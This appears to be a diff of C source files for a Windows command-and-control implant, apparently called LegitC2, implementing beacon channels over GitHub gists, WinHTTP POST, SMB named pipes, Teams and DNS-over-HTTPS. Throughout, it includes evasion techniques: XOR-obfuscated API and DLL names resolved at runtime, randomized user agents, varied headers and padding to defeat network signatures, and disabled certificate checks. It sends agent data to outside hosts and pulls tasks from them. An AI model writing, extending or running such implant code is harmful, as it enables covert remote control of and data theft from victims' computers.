char _kb[64] = {0}; \
|
||||
volatile unsigned char _x = ENV_XOR; \
|
||||
for (size_t _i = 0; _i < sizeof(enc_key); _i++) \
|
||||
_kb[_i] = (char)(enc_key[_i] ^ _x); \
|
||||
const char *_v = getenv(_kb); \
|
||||
if (_v) strncpy(cfg->field, _v, sizeof(cfg->field) - 1); \
|
||||
memset(_kb, 0, sizeof(_kb)); \
|
||||
} while (0)
|
||||
|
||||
OVERRIDE(k_env_gh_token, github_token);
|
||||
OVERRIDE(k_env_gist_cmd, gist_cmd_id);
|
||||
OVERRIDE(k_env_gist_out, gist_out_id);
|
||||
OVERRIDE(k_env_teams_tenant, teams_tenant_id);
|
||||
OVERRIDE(k_env_teams_client, teams_client_id);
|
||||
OVERRIDE(k_env_teams_secret, teams_client_secret);
|
||||
OVERRIDE(k_env_teams_wh, teams_webhook_url);
|
||||
OVERRIDE(k_env_teams_team, teams_team_id);
|
||||
OVERRIDE(k_env_teams_chan, teams_channel_id);
|
||||
OVERRIDE(k_env_beacon_url, beacon_url);
|
||||
OVERRIDE(k_env_doh_server, doh_server);
|
||||
OVERRIDE(k_env_doh_domain, doh_domain);
|
||||
OVERRIDE(k_env_smb_host, smb_host);
|
||||
OVERRIDE(k_env_smb_pipe, smb_pipe);
|
||||
#undef OVERRIDE
|
||||
#undef ENV_XOR
|
||||
}
|
||||
|
||||
/* upload encrypted b64 beacon to the output gist */
|
||||
int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (!cfg->github_token[0] || !cfg->gist_out_id[0]) return CHANNEL_ERR;
|
||||
|
||||
char url[256];
|
||||
snprintf(url, sizeof(url),
|
||||
"https://api.github.com/gists/%s", cfg->gist_out_id);
|
||||
|
||||
/* build PATCH JSON body */
|
||||
size_t body_sz = strlen(b64) + 128;
|
||||
char *body = malloc(body_sz);
|
||||
if (!body) return CHANNEL_ERR;
|
||||
|
||||
snprintf(body, body_sz,
|
||||
"{\"files\":{\"%s_1x.bin\":{\"content\":\"%s\"}}}",
|
||||
agent_id, b64);
|
||||
|
||||
char *resp = github_request(cfg->github_token, url, HTTP_PATCH, body);
|
||||
free(body);
|
||||
|
||||
if (!resp) return CHANNEL_ERR;
|
||||
free(resp);
|
||||
return CHANNEL_OK;
|
||||
}
|
||||
|
||||
/* fetch pending task from the command gist, NULL if nothing */
|
||||
char *github_recv(const channel_config_t *cfg, const char *agent_id)
|
||||
{
|
||||
if (!cfg->github_token[0] || !cfg->gist_cmd_id[0]) return NULL;
|
||||
|
||||
char url[256];
|
||||
snprintf(url, sizeof(url),
|
||||
"https://api.github.com/gists/%s", cfg->gist_cmd_id);
|
||||
|
||||
char *resp = github_request(cfg->github_token, url, HTTP_GET, NULL);
|
||||
if (!resp) return NULL;
|
||||
|
||||
char filename[64];
|
||||
snprintf(filename, sizeof(filename), "%s_0x.bin", agent_id);
|
||||
char *content = gist_extract_content(resp, filename);
|
||||
free(resp);
|
||||
|
||||
return content;
|
||||
}
|
||||
|
||||
/* try channels in priority order */
|
||||
|
||||
int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (cfg->smb_host[0] && smb_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
|
||||
if (github_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
|
||||
if (cfg->beacon_url[0] && http_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
|
||||
if (cfg->teams_tenant_id[0] && teams_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
|
||||
return doh_send(cfg, agent_id, b64);
|
||||
}
|
||||
|
||||
char *channel_recv(const channel_config_t *cfg, const char *agent_id)
|
||||
{
|
||||
char *result;
|
||||
|
||||
if (cfg->smb_host[0]) { result = smb_recv(); if (result) return result; }
|
||||
result = github_recv(cfg, agent_id); if (result) return result;
|
||||
result = http_recv(); if (result) return result;
|
||||
if (cfg->teams_tenant_id[0]) { result = teams_recv(cfg, agent_id); if (result) return result; }
|
||||
return doh_recv(cfg, agent_id);
|
||||
}
|
||||
@@ -0,0 +1,407 @@
|
||||
#include "channels.h"
|
||||
#include "crypto.h"
|
||||
#include "util.h"
|
||||
#include "agent_config.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <wincrypt.h>
|
||||
#include <bcrypt.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* WinHTTP dynamic dispatch */
|
||||
|
||||
typedef BOOL(WINAPI *fn_WH_CrackUrl)(LPCWSTR, DWORD, DWORD, LPURL_COMPONENTS);
|
||||
typedef HINTERNET(WINAPI *fn_WH_Open)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
|
||||
typedef HINTERNET(WINAPI *fn_WH_Connect)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
|
||||
typedef HINTERNET(WINAPI *fn_WH_OpenRequest)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR *, DWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_SetOption)(HINTERNET, DWORD, LPVOID, DWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_AddHeaders)(HINTERNET, LPCWSTR, DWORD, DWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_SetTimeouts)(HINTERNET, int, int, int, int);
|
||||
typedef BOOL(WINAPI *fn_WH_SendRequest)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
|
||||
typedef BOOL(WINAPI *fn_WH_RecvResponse)(HINTERNET, LPVOID);
|
||||
typedef BOOL(WINAPI *fn_WH_QueryOption)(HINTERNET, DWORD, LPVOID, LPDWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_QueryAvail)(HINTERNET, LPDWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_ReadData)(HINTERNET, LPVOID, DWORD, LPDWORD);
|
||||
typedef BOOL(WINAPI *fn_WH_Close)(HINTERNET);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
fn_WH_CrackUrl CrackUrl;
|
||||
fn_WH_Open Open;
|
||||
fn_WH_Connect Connect;
|
||||
fn_WH_OpenRequest OpenRequest;
|
||||
fn_WH_SetOption SetOption;
|
||||
fn_WH_AddHeaders AddHeaders;
|
||||
fn_WH_SetTimeouts SetTimeouts;
|
||||
fn_WH_SendRequest SendRequest;
|
||||
fn_WH_RecvResponse RecvResponse;
|
||||
fn_WH_QueryOption QueryOption;
|
||||
fn_WH_QueryAvail QueryAvail;
|
||||
fn_WH_ReadData ReadData;
|
||||
fn_WH_Close Close;
|
||||
} wh_t;
|
||||
|
||||
static wh_t _wh = {0};
|
||||
|
||||
static int _wh_init(void)
|
||||
{
|
||||
if (_wh.Open)
|
||||
return 0;
|
||||
char _dll[12];
|
||||
{
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_dll_winhttp); _i++)
|
||||
_dll[_i] = (char)(EVS_dll_winhttp[_i] ^ _k);
|
||||
_dll[sizeof(EVS_dll_winhttp)] = '\0';
|
||||
}
|
||||
HMODULE h = LoadLibraryA(_dll);
|
||||
SecureZeroMemory(_dll, sizeof(_dll));
|
||||
if (!h)
|
||||
return -1;
|
||||
|
||||
char _fn[32];
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
#define _GPA(enc, ftype, field) \
|
||||
do \
|
||||
{ \
|
||||
for (int _i = 0; _i < (int)sizeof(enc); _i++) \
|
||||
_fn[_i] = (char)((enc)[_i] ^ _k); \
|
||||
_fn[sizeof(enc)] = '\0'; \
|
||||
_wh.field = (ftype)GetProcAddress(h, _fn); \
|
||||
SecureZeroMemory(_fn, sizeof(enc) + 1); \
|
||||
} while (0)
|
||||
|
||||
_GPA(EVS_fn_WinHttpCrackUrl, fn_WH_CrackUrl, CrackUrl);
|
||||
_GPA(EVS_fn_WinHttpOpen, fn_WH_Open, Open);
|
||||
_GPA(EVS_fn_WinHttpConnect, fn_WH_Connect, Connect);
|
||||
_GPA(EVS_fn_WinHttpOpenRequest, fn_WH_OpenRequest, OpenRequest);
|
||||
_GPA(EVS_fn_WinHttpSetOption, fn_WH_SetOption, SetOption);
|
||||
_GPA(EVS_fn_WinHttpAddRequestHeaders, fn_WH_AddHeaders, AddHeaders);
|
||||
_GPA(EVS_fn_WinHttpSetTimeouts, fn_WH_SetTimeouts, SetTimeouts);
|
||||
_GPA(EVS_fn_WinHttpSendRequest, fn_WH_SendRequest, SendRequest);
|
||||
_GPA(EVS_fn_WinHttpReceiveResponse, fn_WH_RecvResponse, RecvResponse);
|
||||
_GPA(EVS_fn_WinHttpQueryOption, fn_WH_QueryOption, QueryOption);
|
||||
_GPA(EVS_fn_WinHttpQueryDataAvailable, fn_WH_QueryAvail, QueryAvail);
|
||||
_GPA(EVS_fn_WinHttpReadData, fn_WH_ReadData, ReadData);
|
||||
_GPA(EVS_fn_WinHttpCloseHandle, fn_WH_Close, Close);
|
||||
#undef _GPA
|
||||
|
||||
return _wh.Open ? 0 : -1;
|
||||
}
|
||||
|
||||
/* Helpers */
|
||||
|
||||
static char s_pending[131072];
|
||||
static int s_pending_set = 0;
|
||||
|
||||
static int json_str(const char *json, const char *key, char *out, size_t out_sz)
|
||||
{
|
||||
char needle[128];
|
||||
snprintf(needle, sizeof(needle), "\"%s\":", key);
|
||||
const char *p = strstr(json, needle);
|
||||
if (!p)
|
||||
return -1;
|
||||
p += strlen(needle);
|
||||
while (*p == ' ')
|
||||
p++;
|
||||
if (*p != '"')
|
||||
return -1;
|
||||
p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"' && i < out_sz - 1)
|
||||
{
|
||||
if (*p == '\\' && *(p + 1))
|
||||
p++;
|
||||
out[i++] = *p++;
|
||||
}
|
||||
out[i] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
static wchar_t *_to_wide(const char *s)
|
||||
{
|
||||
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
|
||||
if (n <= 0)
|
||||
return NULL;
|
||||
wchar_t *w = (wchar_t *)malloc((size_t)n * sizeof(wchar_t));
|
||||
if (!w)
|
||||
return NULL;
|
||||
MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
|
||||
return w;
|
||||
}
|
||||
|
||||
/* Certificate pinning */
|
||||
|
||||
static int _cert_pin_check(HINTERNET hRequest)
|
||||
{
|
||||
#if CFG_CERT_PIN_LEN != 64
|
||||
(void)hRequest;
|
||||
return 0;
|
||||
#else
|
||||
uint8_t expected[32];
|
||||
{
|
||||
char hex[65] = {0};
|
||||
for (int i = 0; i < 64; i++)
|
||||
hex[i] = (char)(CFG_CERT_PIN[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
|
||||
for (int i = 0; i < 32; i++)
|
||||
{
|
||||
char h[3] = {hex[i * 2], hex[i * 2 + 1], '\0'};
|
||||
expected[i] = (uint8_t)strtoul(h, NULL, 16);
|
||||
}
|
||||
}
|
||||
|
||||
PCCERT_CONTEXT pCert = NULL;
|
||||
DWORD certSz = sizeof(PCCERT_CONTEXT);
|
||||
if (!_wh.QueryOption(hRequest, WINHTTP_OPTION_SERVER_CERT_CONTEXT,
|
||||
&pCert, &certSz) ||
|
||||
!pCert)
|
||||
return -1;
|
||||
|
||||
uint8_t got[32] = {0};
|
||||
{
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_HASH_HANDLE hHash = NULL;
|
||||
DWORD objSz = 0, cbRes = 0;
|
||||
uint8_t *hashObj = NULL;
|
||||
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0) != 0)
|
||||
goto pin_fail;
|
||||
if (BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
|
||||
(PBYTE)&objSz, sizeof(DWORD), &cbRes, 0) != 0)
|
||||
goto pin_fail;
|
||||
hashObj = (uint8_t *)malloc(objSz);
|
||||
if (!hashObj)
|
||||
goto pin_fail;
|
||||
if (BCryptCreateHash(hAlg, &hHash, hashObj, objSz, NULL, 0, 0) != 0)
|
||||
goto pin_fail;
|
||||
BCryptHashData(hHash, pCert->pbCertEncoded, pCert->cbCertEncoded, 0);
|
||||
BCryptFinishHash(hHash, got, 32, 0);
|
||||
BCryptDestroyHash(hHash);
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
free(hashObj);
|
||||
CertFreeCertificateContext(pCert);
|
||||
return (memcmp(got, expected, 32) == 0) ? 0 : -1;
|
||||
|
||||
pin_fail:
|
||||
if (hHash)
|
||||
BCryptDestroyHash(hHash);
|
||||
if (hAlg)
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
free(hashObj);
|
||||
CertFreeCertificateContext(pCert);
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
/* Beacon send */
|
||||
|
||||
int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (!cfg->beacon_url[0])
|
||||
return CHANNEL_ERR;
|
||||
if (_wh_init() != 0)
|
||||
return CHANNEL_ERR;
|
||||
s_pending_set = 0;
|
||||
|
||||
wchar_t *url_w = _to_wide(cfg->beacon_url);
|
||||
if (!url_w)
|
||||
return CHANNEL_ERR;
|
||||
|
||||
wchar_t host[256] = {0};
|
||||
wchar_t path[1024] = {0};
|
||||
|
||||
URL_COMPONENTS uc;
|
||||
memset(&uc, 0, sizeof(uc));
|
||||
uc.dwStructSize = sizeof(uc);
|
||||
uc.lpszHostName = host;
|
||||
uc.dwHostNameLength = 256;
|
||||
uc.lpszUrlPath = path;
|
||||
uc.dwUrlPathLength = 1024;
|
||||
|
||||
if (!_wh.CrackUrl(url_w, 0, 0, &uc))
|
||||
{
|
||||
free(url_w);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
free(url_w);
|
||||
|
||||
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
|
||||
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
|
||||
|
||||
/* cryptographic random padding to vary request size */
|
||||
char pad_b64[72] = {0};
|
||||
{
|
||||
uint8_t raw[36];
|
||||
uint32_t rnd = 0;
|
||||
BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
DWORD pad_len = 8 + (rnd % 29);
|
||||
if (BCryptGenRandom(NULL, raw, pad_len, BCRYPT_USE_SYSTEM_PREFERRED_RNG) == 0)
|
||||
{
|
||||
char *enc = base64_encode(raw, pad_len);
|
||||
if (enc)
|
||||
{
|
||||
strncpy(pad_b64, enc, sizeof(pad_b64) - 1);
|
||||
free(enc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t body_sz = strlen(b64) + strlen(pad_b64) + 160;
|
||||
char *body = (char *)malloc(body_sz);
|
||||
if (!body)
|
||||
return CHANNEL_ERR;
|
||||
if (pad_b64[0])
|
||||
snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\",\"_t\":\"%s\"}", agent_id, b64, pad_b64);
|
||||
else
|
||||
snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
|
||||
|
||||
const char *ua_str = (cfg->http_useragent[0]) ? cfg->http_useragent : random_ua();
|
||||
wchar_t *ua_w = _to_wide(ua_str);
|
||||
HINTERNET hSession = _wh.Open(
|
||||
ua_w ? ua_w : L"Mozilla/5.0",
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
free(ua_w);
|
||||
|
||||
if (!hSession)
|
||||
{
|
||||
free(body);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
HINTERNET hConnect = _wh.Connect(hSession, host, port, 0);
|
||||
if (!hConnect)
|
||||
{
|
||||
_wh.Close(hSession);
|
||||
free(body);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
DWORD req_flags = secure ? WINHTTP_FLAG_SECURE : 0;
|
||||
HINTERNET hRequest = _wh.OpenRequest(hConnect, L"POST",
|
||||
path[0] ? path : L"/",
|
||||
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
|
||||
if (!hRequest)
|
||||
{
|
||||
_wh.Close(hConnect);
|
||||
_wh.Close(hSession);
|
||||
free(body);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
if (secure)
|
||||
{
|
||||
DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
_wh.SetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS,
|
||||
&sec_flags, sizeof(sec_flags));
|
||||
}
|
||||
|
||||
_wh.AddHeaders(hRequest,
|
||||
L"Content-Type: application/json\r\nAccept: application/json",
|
||||
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
/* Per-beacon header variation */
|
||||
{
|
||||
static const wchar_t *_langs[] = {
|
||||
L"Accept-Language: en-US,en;q=0.9\r\n",
|
||||
L"Accept-Language: en-GB,en;q=0.8,en-US;q=0.7\r\n",
|
||||
L"Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8\r\n",
|
||||
L"Accept-Language: de-DE,de;q=0.9,en;q=0.8\r\n",
|
||||
};
|
||||
static const wchar_t *_encs[] = {
|
||||
L"Accept-Encoding: gzip, deflate, br\r\n",
|
||||
L"Accept-Encoding: gzip, deflate\r\n",
|
||||
L"Accept-Encoding: br, gzip\r\n",
|
||||
};
|
||||
uint32_t _r = 0;
|
||||
BCryptGenRandom(NULL, (BYTE *)&_r, sizeof(_r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
_wh.AddHeaders(hRequest, _langs[_r % 4], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
_wh.AddHeaders(hRequest, _encs[(_r >> 8) % 3], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
_wh.AddHeaders(hRequest,
|
||||
L"Cache-Control: no-cache, no-store\r\n",
|
||||
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
wchar_t _ref[512];
|
||||
swprintf(_ref, 512, L"Referer: https://%ls/\r\n", host);
|
||||
_wh.AddHeaders(hRequest, _ref, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
}
|
||||
|
||||
if (cfg->http_extra_headers[0])
|
||||
{
|
||||
wchar_t *xhdr_w = _to_wide(cfg->http_extra_headers);
|
||||
if (xhdr_w)
|
||||
{
|
||||
_wh.AddHeaders(hRequest, xhdr_w, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
free(xhdr_w);
|
||||
}
|
||||
}
|
||||
|
||||
_wh.SetTimeouts(hRequest, 30000, 30000, 30000, 30000);
|
||||
|
||||
BOOL ok = _wh.SendRequest(hRequest,
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
body, (DWORD)strlen(body), (DWORD)strlen(body), 0);
|
||||
free(body);
|
||||
|
||||
if (!ok || !_wh.RecvResponse(hRequest, NULL))
|
||||
{
|
||||
_wh.Close(hRequest);
|
||||
_wh.Close(hConnect);
|
||||
_wh.Close(hSession);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
if (secure && _cert_pin_check(hRequest) != 0)
|
||||
{
|
||||
_wh.Close(hRequest);
|
||||
_wh.Close(hConnect);
|
||||
_wh.Close(hSession);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
char *resp = NULL;
|
||||
size_t resp_len = 0;
|
||||
DWORD avail = 0;
|
||||
|
||||
while (_wh.QueryAvail(hRequest, &avail) && avail > 0)
|
||||
{
|
||||
char *tmp = (char *)realloc(resp, resp_len + avail + 1);
|
||||
if (!tmp)
|
||||
break;
|
||||
resp = tmp;
|
||||
DWORD nread = 0;
|
||||
_wh.ReadData(hRequest, resp + resp_len, avail, &nread);
|
||||
resp_len += nread;
|
||||
resp[resp_len] = '\0';
|
||||
}
|
||||
|
||||
_wh.Close(hRequest);
|
||||
_wh.Close(hConnect);
|
||||
_wh.Close(hSession);
|
||||
|
||||
if (resp)
|
||||
{
|
||||
if (json_str(resp, "p", s_pending, sizeof(s_pending)) == 0 && s_pending[0] != '\0')
|
||||
s_pending_set = 1;
|
||||
free(resp);
|
||||
}
|
||||
|
||||
return CHANNEL_OK;
|
||||
}
|
||||
|
||||
char *http_recv(void)
|
||||
{
|
||||
if (!s_pending_set || !s_pending[0])
|
||||
return NULL;
|
||||
char *ret = strdup(s_pending);
|
||||
s_pending[0] = '\0';
|
||||
s_pending_set = 0;
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
#include "channels.h"
|
||||
#include "agent_config.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ---- No-op stubs ---- */
|
||||
|
||||
int github_send(const channel_config_t *cfg, const char *id, const char *b64)
|
||||
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
|
||||
char *github_recv(const channel_config_t *cfg, const char *id)
|
||||
{ (void)cfg; (void)id; return NULL; }
|
||||
|
||||
int teams_send(const channel_config_t *cfg, const char *id, const char *b64)
|
||||
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
|
||||
char *teams_recv(const channel_config_t *cfg, const char *id)
|
||||
{ (void)cfg; (void)id; return NULL; }
|
||||
|
||||
int doh_send(const channel_config_t *cfg, const char *id, const char *b64)
|
||||
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
|
||||
char *doh_recv(const channel_config_t *cfg, const char *id)
|
||||
{ (void)cfg; (void)id; return NULL; }
|
||||
|
||||
/* ---- XOR deobfuscation ---- */
|
||||
|
||||
static void cfg_decode(const unsigned char *src, size_t len, char *dst)
|
||||
{
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
|
||||
dst[len] = '\0';
|
||||
}
|
||||
|
||||
/* ---- Config init — beacon_url only ---- */
|
||||
|
||||
void channel_config_init(channel_config_t *cfg)
|
||||
{
|
||||
memset(cfg, 0, sizeof(*cfg));
|
||||
|
||||
if (CFG_BEACON_URL_LEN)
|
||||
cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
|
||||
#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
|
||||
cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
|
||||
#endif
|
||||
#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
|
||||
cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
|
||||
#endif
|
||||
|
||||
#ifndef NDEBUG
|
||||
/* Dev override: env var */
|
||||
const char *v = getenv("LEGITC2_BEACON_URL");
|
||||
if (v && *v)
|
||||
strncpy(cfg->beacon_url, v, sizeof(cfg->beacon_url) - 1);
|
||||
#endif
|
||||
|
||||
#if defined(CFG_HTTP_USERAGENT_LEN) && CFG_HTTP_USERAGENT_LEN > 0
|
||||
cfg_decode(CFG_HTTP_USERAGENT, CFG_HTTP_USERAGENT_LEN, cfg->http_useragent);
|
||||
#endif
|
||||
#if defined(CFG_HTTP_EXTRA_HEADERS_LEN) && CFG_HTTP_EXTRA_HEADERS_LEN > 0
|
||||
cfg_decode(CFG_HTTP_EXTRA_HEADERS, CFG_HTTP_EXTRA_HEADERS_LEN, cfg->http_extra_headers);
|
||||
#endif
|
||||
#if defined(CFG_CERT_PIN_LEN) && CFG_CERT_PIN_LEN == 64
|
||||
cfg_decode(CFG_CERT_PIN, CFG_CERT_PIN_LEN, cfg->http_cert_pin);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Dispatcher ---- */
|
||||
|
||||
int channel_send(const channel_config_t *cfg, const char *id, const char *b64)
|
||||
{
|
||||
if (cfg->smb_host[0] && smb_send(cfg, id, b64) == CHANNEL_OK) return CHANNEL_OK;
|
||||
return http_send(cfg, id, b64);
|
||||
}
|
||||
|
||||
char *channel_recv(const channel_config_t *cfg, const char *id)
|
||||
{
|
||||
(void)id;
|
||||
if (cfg->smb_host[0]) {
|
||||
char *r = smb_recv();
|
||||
if (r) return r;
|
||||
}
|
||||
return http_recv();
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
#include "channels.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define SMB_MAX_RESP 131072
|
||||
#define SMB_CONNECT_RETRIES 3
|
||||
#define SMB_PIPE_WAIT_MS 3000
|
||||
|
||||
static char s_pending[SMB_MAX_RESP];
|
||||
static int s_pending_set = 0;
|
||||
|
||||
/* internal helpers */
|
||||
|
||||
static int json_str(const char *json, const char *key, char *out, size_t out_sz)
|
||||
{
|
||||
char needle[128];
|
||||
snprintf(needle, sizeof(needle), "\"%s\":", key);
|
||||
const char *p = strstr(json, needle);
|
||||
if (!p)
|
||||
return -1;
|
||||
p += strlen(needle);
|
||||
while (*p == ' ')
|
||||
p++;
|
||||
if (*p != '"')
|
||||
return -1;
|
||||
p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"' && i < out_sz - 1)
|
||||
{
|
||||
if (*p == '\\' && *(p + 1))
|
||||
p++;
|
||||
out[i++] = *p++;
|
||||
}
|
||||
out[i] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL pipe_read_exact(HANDLE h, void *buf, DWORD len)
|
||||
{
|
||||
DWORD done = 0;
|
||||
while (done < len)
|
||||
{
|
||||
DWORD nr = 0;
|
||||
if (!ReadFile(h, (char *)buf + done, len - done, &nr, NULL) || nr == 0)
|
||||
return FALSE;
|
||||
done += nr;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL pipe_write_exact(HANDLE h, const void *buf, DWORD len)
|
||||
{
|
||||
DWORD done = 0;
|
||||
while (done < len)
|
||||
{
|
||||
DWORD nw = 0;
|
||||
if (!WriteFile(h, (const char *)buf + done, len - done, &nw, NULL) || nw == 0)
|
||||
return FALSE;
|
||||
done += nw;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* send beacon over SMB named pipe, buffer task from response */
|
||||
|
||||
int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (!cfg->smb_host[0] || !cfg->smb_pipe[0])
|
||||
return CHANNEL_ERR;
|
||||
s_pending_set = 0;
|
||||
|
||||
char path[640];
|
||||
snprintf(path, sizeof(path), "\\\\%s\\pipe\\%s", cfg->smb_host, cfg->smb_pipe);
|
||||
|
||||
wchar_t wpath[640] = {0};
|
||||
if (MultiByteToWideChar(CP_UTF8, 0, path, -1, wpath, 640) == 0)
|
||||
return CHANNEL_ERR;
|
||||
|
||||
HANDLE hPipe = INVALID_HANDLE_VALUE;
|
||||
for (int i = 0; i < SMB_CONNECT_RETRIES && hPipe == INVALID_HANDLE_VALUE; i++)
|
||||
{
|
||||
hPipe = CreateFileW(wpath,
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hPipe == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if (GetLastError() != ERROR_PIPE_BUSY)
|
||||
return CHANNEL_ERR;
|
||||
WaitNamedPipeW(wpath, SMB_PIPE_WAIT_MS);
|
||||
}
|
||||
}
|
||||
if (hPipe == INVALID_HANDLE_VALUE)
|
||||
return CHANNEL_ERR;
|
||||
|
||||
/* build JSON body */
|
||||
size_t body_sz = strlen(agent_id) + strlen(b64) + 32;
|
||||
char *body = (char *)malloc(body_sz);
|
||||
if (!body)
|
||||
{
|
||||
CloseHandle(hPipe);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
int body_len = snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
|
||||
if (body_len <= 0) { free(body); CloseHandle(hPipe); return CHANNEL_ERR; }
|
||||
|
||||
/* write: 4-byte LE length then payload */
|
||||
uint32_t wlen = (uint32_t)body_len;
|
||||
BOOL ok = pipe_write_exact(hPipe, &wlen, 4) &&
|
||||
pipe_write_exact(hPipe, body, wlen);
|
||||
free(body);
|
||||
if (!ok)
|
||||
{
|
||||
CloseHandle(hPipe);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
/* read 4-byte LE response length */
|
||||
uint32_t rlen = 0;
|
||||
if (!pipe_read_exact(hPipe, &rlen, 4) || rlen == 0 || rlen >= SMB_MAX_RESP)
|
||||
{
|
||||
CloseHandle(hPipe);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
/* read response body */
|
||||
char *resp = (char *)malloc(rlen + 1);
|
||||
if (!resp)
|
||||
{
|
||||
CloseHandle(hPipe);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
ok = pipe_read_exact(hPipe, resp, rlen);
|
||||
CloseHandle(hPipe);
|
||||
